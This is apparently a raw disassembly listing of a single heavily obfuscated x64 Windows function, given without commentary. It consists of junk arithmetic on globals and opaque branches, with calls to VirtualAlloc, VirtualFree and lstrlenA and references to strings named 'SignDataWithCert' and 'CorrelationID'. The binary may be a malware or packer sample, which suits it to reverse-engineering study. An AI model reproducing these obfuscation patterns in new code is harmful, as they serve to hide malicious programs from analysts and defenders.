cmp r12, rax
mov ecx, 0xa264e4bc
movsx eax, byte [0x140044722]
mov r13d, r14d
sete dl
not eax
add eax, edx
imul eax, eax, 0x6a56255d
sub ecx, eax
mov eax, dword [0x14004474c]
mov dword [rbp - 0x70], ecx
mov dword [0x14139e2c8], eax
jmp 0x1400240d8
cmp byte [str.LSignDataWithCert], bl
jne 0x1400240d8
mov rcx, qword [rbp - 0x58]
movsx rax, word [rbp - 0x80]
imul rcx, rax
mov qword [rbp - 0x58], rcx
mov rax, qword [0x1400447c8]
sub dword [0x1400447bc], eax
test edi, edi
je 0x1400240f7
movzx ecx, word [0x140044764]
movzx eax, byte [rsp + 0x51]
sub cx, ax
mov word [0x140044764], cx
jmp 0x140024d9b
movzx eax, word [0x14004473c]
test ax, ax
je 0x140024156
mov qword [0x1400447c8], rbx
movsx rdx, byte [0x14004470b]
movsx rax, byte [0x14004470b]
mov rcx, qword [0x1400447d8]
add rax, rdx
add cl, al
mov byte [0x14004470b], cl
mov rax, qword [0x1400447c8]
test rax, rax
jne 0x140024156
movsx eax, byte [str.LSignDataWithCert]
lea eax, [rax + rax*2]
cdqe
mov qword [rbp - 0x50], rax
lea eax, [r12 + 0xf99c]
mov dword [0x1400447b4], eax
movzx r8d, byte [rsp + 0x51]
mov edx, ebx
mov rax, qword [rbp - 0x10]
movzx ecx, word [0x14004479c]
sub rax, rsi
sub rax, 5
mov dword [rbp + 0x58], 0xe8
cmp r8w, cx
mov qword [rbp + 0x48], rax
mov eax, ebx
mov byte [rbp + 0x5c], bl
setne dl
cmp r8b, 0x37
setne al
cmp edx, eax
je 0x1400241a1
movzx eax, byte [rsp + 0x50]
shl rax, 7
mov qword [rbp - 0x60], rax
jmp 0x1400241d6
mov al, byte [0x14004470e]
test al, al
je 0x1400241d6
mov eax, dword [0x1400447e0]
shr eax, 8
mov dword [0x1400447c4], eax
movabs rax, 0xeda3b4a5309b
movsx rcx, word [0x14004473c]
sub rcx, rax
mov qword [0x140044788], rcx
mov eax, dword [rbp + 0x48]
mov r8d, 4
mov dword [rbp + 0x59], eax
mov rax, qword [rbp - 0x60]
movzx edx, byte [rsp + 0x50]
neg eax
add rdx, qword [0x140044780]
and rdx, qword [0x140044780]
mov dword [0x1400447ec], eax
mov eax, dword [0x1413914b0]
mov qword [0x140044780], rdx
mov qword [rbp - 0x58], rax
sub r8, r14
jne 0x1400241e2
mov eax, dword [0x1400447bc]
mov ecx, ebx
not eax
cmp eax, 0x2f404807
mov eax, ebx
setg cl
cmp dword [0x1400447e4], ebx
sete al
cmp eax, ecx
jb 0x140024251
mov eax, dword [0x1400447c4]
shr rdx, 8
mov word [0x14004470c], dx
mov dword [0x1416341e4], eax
jmp 0x140024261
movsx eax, word [0x1400447a0]
sub eax, dword [rbp + 8]
cdqe
mov qword [rbp - 0x78], rax
mov rdi, qword [rbp]
lea rax, [rbp - 0x40]
mov rcx, rdi
mov qword [rbp + 0x30], rsi
mov r9d, 5
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x58]
mov rdx, rsi
call fcn.140002165
mov r9d, eax
test eax, eax
jne 0x140024298
cmp dword [rbp - 0x40], 5
je 0x1400243b7
movzx edx, word [0x140044764]
mov r8d, ebx
mov rcx, qword [0x1400447c8]
movzx eax, word [0x140044764]
cmp rdx, rcx
mov ecx, ebx
setl r8b
cmp ax, 0x17
mov rax, qword [rbp - 0x48]
setb cl
movzx eax, ax
cmp r8d, ecx
jbe 0x1400242dc
mov dword [rsp + 0x70], eax
movzx eax, word [rsp + 0x60]
sub word [rsp + 0x74], ax
jmp 0x1400242e8
add eax, dword [rbp - 0x2c]
add eax, r13d
mov dword [0x1400447e4], eax
mov eax, dword [0x1413914b0]
mov ecx, 0x7823
mov dword [rsp + 0x58], eax
mov al, byte [0x1400447b0]
mov byte [0x1414de9ce], al
mov eax, dword [rsp + 0x58]
add eax, 0x6ff
mov dword [rsp + 0x7c], eax
movzx eax, word [0x140044798]
mov dword [0x1400447e0], ebx
mov word [0x140044764], ax
mov rax, qword [0x1400447a8]
sub ax, cx
mov word [0x140044798], ax
mov eax, dword [0x1400447e0]
test eax, eax
jne 0x140024352
movsx ecx, byte [0x14004470b]
mov eax, dword [rsp + 0x68]
sub cl, al
mov byte [0x14004470b], cl
mov eax, dword [rsp + 0x58]
movabs rcx, 0xf05785a86c37b
add rcx, qword [0x140044780]
add eax, 0x620
add dword [0x14004474c], 0x84
mov dword [rbp - 0x24], eax
mov eax, dword [rsp + 0x58]
add eax, 0x63a
mov qword [0x140044790], rcx
mov dword [rbp - 0x30], eax
mov ecx, dword [rbp - 0x30]
mov eax, dword [rsp + 0x7c]
and ecx, eax
mov eax, dword [rbp - 0x24]
cmp eax, ecx
je 0x1400243b7
mov eax, dword [rsp + 0x68]
and eax, 0x1b
add word [0x140044798], r14w
mov dword [rsp + 0x70], eax
mov eax, r9d
jmp 0x140024d9d
movsx ecx, word [0x14004479c]
mov edx, ebx
mov eax, dword [rbp - 0x70]
cmp ecx, eax
movzx eax, word [0x14004479c]
mov ecx, ebx
setne dl
cmp ax, 0x39
setne cl
cmp edx, ecx
jb 0x140024400
movsxd rax, r13d
mov ecx, ebx
cmp rax, qword [0x140044780]
mov eax, ebx
setb cl
cmp r13d, 0x16
setl al
cmp ecx, eax
jae 0x140024425
mov eax, dword [rbp - 0x70]
sub r12, rax
jmp 0x140024425
movsx ecx, word [0x14004479c]
mov eax, dword [rsp + 0x68]
neg eax
cmp ecx, eax
jbe 0x140024425
movzx eax, word [0x1400447c0]
mov ecx, 0x5eb3
sub ax, cx
mov word [rsp + 0x54], ax
mov rax, qword [rbp + 0x28]
lea r8, [rbp + 0x10]
add rax, 0x3e
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x10], rax
mov r9d, 4
lea rax, [rbp - 0x18]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140002803
mov edi, eax
test eax, eax
je 0x1400245a0
mov ecx, dword [0x1413914b0]
xor r8d, r8d
mov dword [rsp + 0x58], ecx
xor edx, edx
mov rcx, qword [rbp - 0x68]
call fcn.140022778
movsxd r8, eax
mov edx, ebx
cmp r8w, 7
mov word [rsp + 0x6c], r8w
mov ecx, ebx
setne dl
test r8w, r8w
setne cl
cmp ecx, edx
jbe 0x14002449a
mov qword [rbp - 0x68], 8
mov ecx, dword [rsp + 0x58]
mov rsi, qword [rbp - 0x48]
add ecx, 0x812
mov eax, dword [rsp + 0x74]
mov dword [rbp - 0x30], ecx
movzx ecx, si
cwde
cmp ecx, eax
je 0x1400244e4
movzx eax, r15b
mov edx, ebx
mov dword [0x1400447b4], eax
mov ecx, ebx
mov eax, dword [0x1400447e0]
test eax, eax
mov rax, qword [rbp - 0x60]
sete dl
test rax, rax
sete cl
and cx, dx
mov word [0x140044764], cx
mov eax, dword [rsp + 0x58]
mov r15d, dword [rbp - 0x7c]
add eax, 0x737
mov dword [rsp + 0x7c], eax
movzx eax, r15w
cmp eax, dword [0x1400447e4]
je 0x14002454d
mov qword [rbp - 0x58], 3
movzx ecx, byte [0x14004470e]
mov rax, qword [0x140044780]
add cx, si
or si, cx
mov qword [rbp - 0x48], rsi
lea rcx, [rax + rax]
movsx rax, r8w
sub rcx, rax
mov rax, qword [rbp - 0x58]
dec rax
mov qword [0x140044780], rcx
sub rax, r14
je 0x14002454d
cmp rax, r14
jne 0x14002454d
mov eax, dword [rbp - 0x2c]
sub dword [0x1400447b0], eax
mov eax, dword [rsp + 0x58]
add eax, 0x82a
mov dword [rsp + 0x58], eax
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
xor ecx, eax
mov edx, dword [rbp - 0x30]
mov eax, dword [rsp + 0x58]
add edx, ecx
mov ecx, dword [rsp + 0x7c]
sub ecx, eax
cmp edx, ecx
je 0x1400245a8
movzx eax, word [0x1413914b0]
mov word [rsp + 0x54], ax
mov al, byte [0x1400447bc]
xor al, 0x9a
mov byte [0x140044721], al
mov rax, qword [rbp - 0x58]
add byte [str.LSignDataWithCert], al
jmp 0x140024d9b
mov rsi, qword [rbp - 0x48]
mov r15d, dword [rbp - 0x7c]
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x40]
mov rcx, qword [rbp]
lea r8, [rbp + 0x60]
mov r9d, 0x3e
mov qword [rsp + 0x20], rax
call fcn.140002165
mov edx, dword [rbp - 0x14]
mov edi, eax
mov ecx, dword [rbp - 0x28]
add edx, 8
cmp edx, ecx
je 0x140024864
movzx r8d, word [0x140044764]
xor r9d, r9d
mov word [rsp + 0x20], r8w
xor edx, edx
movzx r8d, r13w
xor ecx, ecx
call fcn.140022938
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x68]
test eax, eax
jne 0x140024615
mov rax, qword [rbp - 0x58]
test rax, rax
jne 0x140024615
cmp word [rbp - 0x80], bx
je 0x14002462b
xor edx, edx
mov ecx, 0xfb
call fcn.140022a94
mov word [rsp + 0x60], ax
movzx eax, word [rsp + 0x60]
test edi, edi
jne 0x140024639
cmp dword [rbp - 0x40], 0x3e
je 0x140024864
mov ecx, dword [0x1400447c0]
mov eax, 0xaf
mov byte [str.LSignDataWithCert], bl
mov word [rsp + 0x54], ax
movzx eax, byte [rbp - 0x20]
xor rcx, rax
mov rax, qword [0x140044788]
imul rax, rcx
mov cl, byte [rsp + 0x50]
add cl, byte [0x1400447d0]
not rax
add cl, r14b
movsx eax, al
not cl
movsx ecx, cl
imul ecx, eax
mov byte [rsp + 0x5c], cl
mov ecx, dword [rbp - 0x70]
mov rax, qword [rbp - 0x58]
not ecx
not rax
cmp rcx, rax
jg 0x140024771
xor edx, edx
mov ecx, 0xc0
lea r8d, [rdx + 0x3f]
call fcn.140022778
cmp eax, 0x4d
mov dword [0x1400447b0], eax
mov edx, ebx
mov ecx, ebx
setbe dl
test eax, eax
sete cl
cmp ecx, edx
jb 0x14002474e
mov ecx, dword [rsp + 0x70]
movzx edx, si
call fcn.140022a94
movsx rcx, ax
mov qword [0x1400447d0], rcx
test rcx, rcx
js 0x1400246f6
mov eax, dword [rsp + 0x74]
mov ecx, 0x6598
add ax, cx
mov word [0x140044798], ax
jmp 0x1400247a8
cmp dword [0x1400447c0], ebx
jne 0x1400247a8
movsx r8d, word [0x1400447a0]
movsx ecx, word [0x14004470c]
add r8d, 0xd7c
not ecx
add ecx, dword [rbp - 0x2c]
imul r8d, ecx
mov ecx, dword [0x1400447e0]
movsx eax, word [0x14004470c]
add ecx, eax
mov eax, dword [rsp + 0x70]
add al, byte [0x1400447e4]
movsx edx, al
movsx ecx, cl
imul edx, ecx
add dl, r8b
not dl
mov byte [rsp + 0x5c], dl
jmp 0x1400247a8
movsxd rcx, dword [0x1400447b8]
mov rax, qword [0x1400447d8]
cmp rax, rcx
jle 0x1400247a8
movabs rax, 0xa4ba927966e93
mov qword [rbp - 0x50], rax
jmp 0x1400247a8
movsxd rcx, dword [0x1400447e4]
mov edx, ebx
mov rax, qword [0x1400447c8]
cmp rax, rcx
mov eax, dword [rsp + 0x70]
mov ecx, ebx
setne dl
cmp r13d, eax
setg cl
test edx, ecx
je 0x1400247a8
mov rax, qword [rbp - 0x68]
mov ecx, 0x398e
add ax, cx
mov word [rsp + 0x60], ax
mov eax, dword [0x1413914b0]
mov dword [rsp + 0x58], eax
movzx ecx, byte [rsp + 0x50]
mov eax, dword [rsp + 0x68]
add eax, 0x5b
add ecx, eax
mov dword [rsp + 0x68], ecx
mov rax, qword [0x1400447d8]
movzx ecx, word [0x1400447a4]
and ax, cx
sub cx, ax
mov eax, dword [rsp + 0x58]
add eax, 0x6a0
mov word [0x1400447a4], cx
mov dword [rbp - 0x28], eax
mov ecx, dword [0x1400447c4]
mov rax, qword [rbp - 0x50]
cmp rcx, rax
jge 0x140024808
mov eax, 0x20
mov word [0x1400447a4], ax
jmp 0x14002481d
mov rax, qword [rbp - 0x78]
test rax, rax
je 0x14002481d
mov eax, 0xffffdf49
mov word [0x1400447a0], ax
mov eax, dword [rsp + 0x58]
add eax, 0x55e
mov dword [rbp - 0x14], eax
mov eax, dword [rsp + 0x58]
add eax, 0x6b3
mov dword [rbp - 0x28], eax
mov ecx, dword [rbp - 0x28]
mov eax, dword [rbp - 0x14]
imul ecx, eax
cmp ecx, 0x47
je 0x140024864
movabs rax, 0x57dd70cd0b8c2
mov qword [rbp - 0x68], rax
movzx eax, byte [0x14139ded4]
mov qword [0x1400447c8], rax
jmp 0x140024d9b
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x40]
mov rsi, qword [rbp + 0x28]
add rdx, 0x3e
mov rdi, qword [rbp]
mov r9, rsi
mov r8, qword [rbp + 0x50]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140002165
mov ecx, dword [rbp + 0x18]
mov r8d, eax
or ecx, 0x3e
cmp ecx, 0x3ff
je 0x1400249da
mov cl, byte [0x1413914b0]
movabs rax, 0x3f67c2cdd9464
mov qword [0x140044780], rax
mov byte [0x14004470e], cl
test r8d, r8d
jne 0x1400248cf
mov ecx, dword [rbp - 0x40]
cmp rcx, rsi
je 0x1400249da
movsx eax, word [rbp - 0x80]
mov ecx, ebx
cmp r13d, eax
mov eax, ebx
setle cl
cmp r13d, 0x52
setle al
cmp ecx, eax
jae 0x140024907
mov eax, dword [0x14004474c]
cmp dword [0x1400447b8], eax
jl 0x14002493f
mov eax, dword [rsp + 0x70]
sub eax, 0xf4e0
mov dword [0x1400447e4], eax
jmp 0x14002493f
cmp word [0x1400447a4], bx
jne 0x14002493f
movzx ecx, byte [0x14004470e]
mov eax, 0x1247
sub cx, ax
movzx eax, word [0x14004473c]
or cx, ax
mov word [0x14004473c], cx
mov eax, dword [0x1400447c4]
add eax, 0x4a509813
mov qword [rbp - 0x78], rax
mov rcx, qword [rbp - 0x68]
mov rax, qword [rbp - 0x50]
imul rcx, rax
mov dword [0x1400447b4], 2
mov eax, dword [0x1400447b4]
mov qword [rbp - 0x68], rcx
test eax, eax
je 0x1400249b0
sub eax, r14d
je 0x1400249a2
cmp eax, r14d
jne 0x1400249d2
movzx eax, word [0x140044764]
movsx edx, word [rsp + 0x6c]
sub edx, eax
movzx eax, word [0x140044764]
add ax, dx
mov word [0x140044764], ax
mov rax, qword [rbp - 0x50]
mov cl, byte [rsp + 0x50]
add rax, 0x70e
or cl, al
mov byte [rsp + 0x50], cl
jmp 0x1400249d2
mov eax, dword [0x1413914b0]
mov dword [0x1400447c0], eax
jmp 0x1400249d2
mov eax, 0x3c9b
mov word [0x1400447a0], ax
movzx eax, word [rsp + 0x60]
mov rcx, qword [0x1400447a8]
add rcx, rax
mov qword [0x1400447a8], rcx
mov eax, r8d
jmp 0x140024d9d
lea rax, [rbp - 0x18]
mov r9d, 0x20
lea r8, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x10]
mov rcx, rdi
call fcn.140002803
mov ecx, dword [rsp + 0x78]
mov edi, eax
cmp ecx, 0x3bb
je 0x140024c52
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140022778
mov word [0x14004473c], ax
movzx ecx, word [0x14004473c]
test cx, cx
je 0x140024a79
mov dword [rsp + 0x28], ebx
mov r9d, 0xe2
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call fcn.140022624
mov byte [rsp + 0x50], al
mov al, byte [rsp + 0x50]
mov al, byte [rsp + 0x50]
movzx ecx, byte [rsp + 0x50]
mov edx, dword [rsp + 0x68]
add rcx, 0xd72
not edx
sub rdx, rcx
sub rdx, r12
mov qword [rbp - 0x38], rdx
movsx ecx, byte [0x14004470b]
shl ecx, 3
movsxd r12, ecx
test edi, edi
je 0x140024c52
mov rax, qword [rbp - 0x60]
mov ecx, 0x11bc
shl rax, 6
mov word [0x140044764], ax
mov eax, dword [rsp + 0x70]
sub cx, ax
movzx eax, word [0x140044764]
add r15w, cx
cmp rax, r12
jb 0x140024b5b
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx + 0xf]
call fcn.140022c18
mov byte [0x14004470b], al
mov ecx, ebx
movzx eax, word [0x140044764]
mov edx, ebx
movzx r8d, word [0x1400447a4]
test ax, ax
movsx eax, r15w
sete cl
cmp eax, ecx
mov eax, ebx
mov ecx, ebx
setle dl
cmp byte [0x140044721], bl
sete al
xor edx, eax
mov eax, ebx
cmp qword [0x140044780], r12
setae cl
cmp ecx, r8d
setae al
cmp eax, edx
ja 0x140024b5b
movsx eax, byte [0x140044722]
mov edx, ebx
cmp r8d, eax
mov ecx, ebx
mov rax, qword [rbp - 0x58]
setne dl
test rax, rax
setne cl
cmp ecx, edx
jbe 0x140024b5b
cmp byte [0x140044722], bl
mov eax, ebx
mov cl, byte [0x14004470e]
sete al
add ax, word [0x140044790]
mov word [0x1400447e8], ax
movzx eax, word [rsp + 0x60]
sub cl, al
sub cl, 0x1e
mov byte [0x14004470e], cl
mov eax, dword [0x1413914b0]
lea rcx, [rbp + 0xa0]
movsd xmm0, qword [str.CorrelationID]
mov dword [rsp + 0x58], eax
mov eax, dword [0x1400329c8]
mov dword [rbp + 0xa8], eax
movzx eax, word [0x1400329cc]
mov word [rbp + 0xac], ax
movsd qword [rbp + 0xa0], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
mov r8d, 0x6b
mov eax, dword [rsp + 0x58]
add eax, 0x780
mov qword [0x1400447d0], rcx
mov dword [rsp + 0x7c], eax
mov rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x38]
add rdx, rax
mov rax, qword [rbp - 0x38]
xor rax, rdx
mov qword [rbp - 0x38], rax
sub r8, r14
jne 0x140024bb9
mov eax, dword [rsp + 0x58]
add eax, 0x6da
mov dword [rsp + 0x78], eax
mov rax, qword [rbp - 0x78]
add al, 0x65
mov byte [0x140044721], al
mov eax, dword [rsp + 0x58]
add eax, 0x6e7
mov dword [rsp + 0x78], eax
mov ecx, dword [rsp + 0x7c]
mov eax, dword [rsp + 0x7c]
or ecx, 0x20f
cmp ecx, eax
je 0x140024c52
mov al, byte [rsp + 0x5c]
movabs rcx, 0x42accb364e231
and al, 0x26
mov qword [0x140044780], r14
movzx eax, al
mov word [0x1400447e8], ax
mov rax, qword [rbp - 0x78]
add rax, rcx
mov ecx, 0xfa3a58cc
mov qword [rbp - 0x50], rax
movsx eax, word [rbp - 0x80]
sub ecx, eax
mov eax, dword [rsp + 0x68]
add ecx, eax
mov dword [rsp + 0x68], ecx
jmp 0x140024d9b
movsx eax, byte [0x14004470b]
mov r10d, ebx
movsx ecx, word [0x14004479c]
mov r9d, 4
mov rsi, qword [rbp - 0x78]
mov rdx, qword [0x1400447c8]
add si, r12w
imul ecx, eax
mov rax, qword [rbp - 0x78]
lea r15d, [r9 - 1]
and rdx, rax
mov rax, qword [rbp - 0x68]
add si, cx
mov rcx, rbx
add si, r14w
test rax, rax
sete cl
cmp rdx, rcx
movzx ecx, byte [rsp + 0x50]
movsx r8d, byte [rsp + 0x5c]
mov edx, r15d
sete r10b
not r8d
add ecx, 0xbcfd8614
xor r8d, ecx
xor ecx, ecx
sub r8d, r10d
mov dword [0x1400447bc], r8d
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, r15d
mov rcx, rax
mov byte [rax], 0xb1
mov r8d, dword [0x1400447b4]
add r8d, 0xffffffb7
mov qword [rbp - 0x50], r8
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1400447ec]
mov ecx, ebx
not eax
test eax, eax
movzx eax, word [0x14004479c]
setne cl
cmp ax, word [rbp - 0x80]
jne 0x140024d1b
test r12, r12
jne 0x140024d1b
mov r14d, ebx
mov rdx, qword [rbp + 8]
mov eax, ebx
not edx
cmp edx, ecx
setg al
cmp eax, r14d
ja 0x140024d91
movzx ecx, word [rsp + 0x54]
mov edx, ebx
movsx eax, si
cmp eax, ecx
setg dl
cmp si, 0x31
setg bl
cmp edx, ebx
jne 0x140024d72
mov eax, dword [rsp + 0x68]
mov ecx, 0x18e4
add ax, cx
movzx ecx, byte [rsp + 0x51]
mov word [0x1400447e8], ax
movzx eax, word [0x14004473c]
and cx, ax
mov word [0x14004473c], cx
jmp 0x140024d9b
movsxd rcx, dword [rsp + 0x70]
mov rax, qword [0x1400447c8]
cmp rcx, rax
jg 0x140024d9b
mov rax, qword [rbp - 0x48]
neg al
mov byte [0x140044722], al
jmp 0x140024d9b
mov dword [0x1400447b8], 8
mov eax, edi
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140025dd0
add rsp, 0x218
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret